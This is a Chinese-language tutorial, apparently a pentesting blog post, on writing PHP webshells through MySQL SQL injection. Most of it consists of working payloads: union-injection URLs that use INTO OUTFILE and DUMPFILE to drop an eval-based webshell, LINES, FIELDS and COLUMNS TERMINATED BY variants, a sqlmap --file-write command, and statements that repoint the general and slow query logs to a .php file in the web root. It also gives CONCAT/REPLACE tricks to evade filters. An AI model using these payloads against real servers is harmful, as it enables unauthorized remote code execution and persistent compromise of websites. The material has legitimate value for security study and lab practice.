SQL注入写shell

into outfile写shell

条件:

1、知道web绝对路径

2、有文件写入权限(一般情况只有root用户有)

3、数据库开启了secure_file_priv设置

secure_file_priv 查询语句:show global variables like "secure%";

1
2
3
NULL   禁止限制操作 
C:\ 值为某一目录,则只能操作该目录下的文件
'' 为空,则表示不对读写文件进行限制,即可以写入任意磁盘文件(区分NULL)

secure_file_priv只能通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量

image-20230322183051771
1
show variables like "%secure%";
image-20230322135516187
找网站根目录
  • 根据SQL语句报错,看看有无路径爆出

  • 读网站的配置文件

1
select @@datadir  #查找Mysql配置路径

image-20230402001708223

这里的路径是

1
D:\xampp\\mysql\\data\\

然后上网上搜索一下xampp网站的配置路径

image-20230402001740568

读取xampp下apache的配置文件xampp\apache\conf\httpd.conf

读取到了网站的配置路径

image-20230402002134736

然后就能用select into outfile写入webshell

image-20230322140000635

常见手法:

联合注入写入

1
?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

dumpfile函数写入

1
?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

lines terminated by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
//lines terminated by 可以理解为以每行终止的位置添加xx内容

lines starting by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
//利用 lines starting by 语句拼接webshell的内容。lines starting by可以理解为以每行开始的位置添加xx内容

fields terminated by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
//利用fields terminated by语句拼接webshell的内容 fields terminated by可以理解为以每个字段的位置添加xx内容

columns terminated by 写入

1
2
?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
//利用fields terminated by语句拼接webshell的内容 columns terminated by 可以理解为以每个字段的位置添加xx内容

sqlmap写入

1
2
写入到 /tmp 目录下 (要写的文件,必须在kali本机里有)
sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"

读文件

1
select load_file('文件名');
image-20230322141028688
日志写shell

MySQL的两个全局变量:

1
2
general_log      日志保存状态,一共有两个值(ON/OFF)
general_log_file 日志的保存路径
image-20230322161018141

如果目前这个general_log为off状态,那么日志就没有被记录进去,所以要先打开这个全局变量

1
set global general_log='on';

打开过后,不管sql语句是否正确,日志文件中都会记录我们写的sql语句

接下来修改general_log_file,可以直接通过SQL语句修改,并且必须修改为如.php后缀的文件,不然马不能被解析

1
set global general_log_file='C:\\phpstudy\\phpstudy_pro\\Extensions\\MySQL5.7.26\\log.php';
image-20230322180312855

接下来使用 select '<?php @eval($_POST[cmd]);?>'; 查询语句,其实就是写马,让日志文件众留下这样一句查询语句

image-20230322180736193

但是最后也要考虑能不能成功的连接到马,像如果secure_file_priv固定为C:\,而网站是搭在D盘上,那把general_log_file修改为C盘下的文件也连接不到,除非还有文件包含漏洞等

这里还得修改日志文件log.php的路径,让他在网站目录下才能成功连接

image-20230322182458681

成功连接

image-20230322182442934
利用条件

条件比较苛刻

(1)union注入在这里行不通。要日志写马能够连接必须要修改general_log_file为比如php后缀的文件,不然马不能被解析,所以必须要先用到set global general_log_file='xx.php';,那么union注入就没机会了,union基本都是?id=1 union select 1,2,select '';这样,不能执行set

(2)有堆叠注入,要先?id=1;set global general_log_file='xx.php';,然后直接执行?id=1;select '木马';

不过要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query()。一般后台查询数据库使用的语句都是用mysql_query(),所以堆叠注入在mysql上不常见。

(3)再者就是成功登录到别人的数据库里了,先set global general_log_file='xx.php';,然后直接执行select '木马';

(4)没有对 ' " 进行过滤,因为outfile后面的物理路径必须要有引号

慢查询日志写shell

MySQL日志主要包含: 错误日志、查询日志、慢查询日志、事务日志。在 5.6.34版本以后secure_file_priv的值默认为NULL

MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句,long_query_time的默认值为10,意思是运行10S以上的语句。运行时间超过long_query_time值的SQL会被记录到慢查询日志中。使用慢查询主要针对日志量庞大,通过日志文件getshell出现问题的情况

1
2
3
4
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:\\phpstudy\\phpstudy_pro\\WWW\\slow.php'; 日志路径
set GLOBAL slow_query_log=on; 启用慢查询日志
set GLOBAL log_queries_not_using_indexes=on;
image-20230322194438585
1
2
set GLOBAL slow_query_log_file='C:\\phpstudy\\phpstudy_pro\\WWW\\slow.php';   //原理同上
select '<?php phpinfo();?>' or sleep(10);

image-20230322193527824

image-20230322193550168

若对敏感字符进行过滤,可以采用字符串拼接(concat) 字符串替换(replace)

1
2
set global general_log_file =CONCAT("/var/www/html/shell.p","hp"); 
set global general_log_file =REPLACE("/var/www/html/shell.jpg","jpg","php");